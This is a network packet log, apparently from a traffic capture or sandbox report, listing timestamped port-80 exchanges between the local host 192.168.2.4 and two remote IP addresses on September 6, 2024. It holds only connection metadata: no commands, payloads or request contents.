Sep 6, 2024 08:17:07.077030897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.077089071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077095032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077100039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077105045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077111006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077115059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077120066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.077132940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.077187061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.077187061 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078193903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078200102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078206062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078246117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078252077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078263044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078268051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078274012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078278065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078296900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078315020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078336954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078344107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078349113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078355074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078372002 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078402042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078408003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078428030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078428030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078511000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078516006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078527927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078531981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078537941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078557014 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078577995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078583956 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078592062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078598022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078598022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078614950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078638077 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078666925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078675032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078675985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078675985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078686953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078692913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078733921 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.078838110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.078902960 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079025030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079056025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079091072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079096079 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079102039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079107046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079118013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079125881 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079161882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079168081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079179049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079199076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079199076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079199076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079230070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079283953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079291105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079301119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079333067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079364061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079370022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079380035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079385042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079391956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079411983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079411983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079503059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079509020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079519033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079524040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079530001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079535961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079543114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079543114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079576015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079674959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079679012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079689026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079719067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079752922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079752922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079785109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079792023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079802990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079833031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079838991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079849958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.079869032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079885006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.079885006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.080296040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080301046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080312014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080317020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080347061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080359936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080364943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.080368996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.080368996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.080425978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.080425978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.080476999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.083405972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.084117889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084121943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084228039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084233046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084247112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084252119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084261894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084269047 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084276915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084284067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084287882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084302902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084309101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084316969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084326982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084341049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084341049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084398031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084403992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084415913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084419966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084429979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084476948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084486961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084501982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084511042 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084517956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084523916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084530115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084546089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084568024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084568024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084569931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084633112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084666967 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084794998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084800959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084813118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084863901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084868908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084875107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084881067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084889889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084894896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084897995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084902048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084922075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.084989071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.084995031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085000992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085016012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085017920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085021973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085045099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085045099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085350990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085381985 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085426092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085432053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085443020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085448980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085490942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085490942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085499048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085505009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085511923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085623980 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085900068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085906982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085917950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085958958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085964918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085971117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085983038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.085984945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.085990906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086015940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086050987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086056948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086069107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086074114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086081982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086097956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086177111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086183071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086194992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086200953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086205959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086210012 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086237907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086237907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086239100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086252928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086272955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086294889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086301088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086312056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086317062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086327076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086339951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086636066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086641073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086667061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086719990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086725950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086736917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086743116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086750031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086791039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086791039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086792946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086801052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086807013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086812019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086817980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086850882 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086891890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086898088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086905003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086913109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086918116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086956978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086956978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.086992025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.086997986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087003946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087022066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.087039948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087064028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087069988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087074041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.087099075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.087125063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087131023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.087162971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.088068962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.094942093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094949961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094963074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094968081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094974041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094979048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094985008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.094990969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095027924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095027924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095027924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095031977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095037937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095048904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095053911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095060110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095074892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095088005 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095103979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095155001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095160961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095170975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095175982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095181942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095187902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095194101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095197916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095222950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095222950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095318079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095324039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095339060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095344067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095350981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095355988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095360994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095367908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095367908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095367908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095468998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095475912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095487118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095491886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095498085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095503092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095509052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095509052 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095510006 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095535040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095535040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095698118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095705032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095710993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095716000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095720053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095726013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095743895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095750093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095762014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.095772982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095772982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095772982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.095829010 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097085953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097093105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097193003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097198009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097203970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097208977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097213984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097223043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097246885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097251892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097263098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097269058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097296000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097296000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097296000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097361088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097368002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097373009 CEST	80	49737	147.45.44.104	192.168.2.4
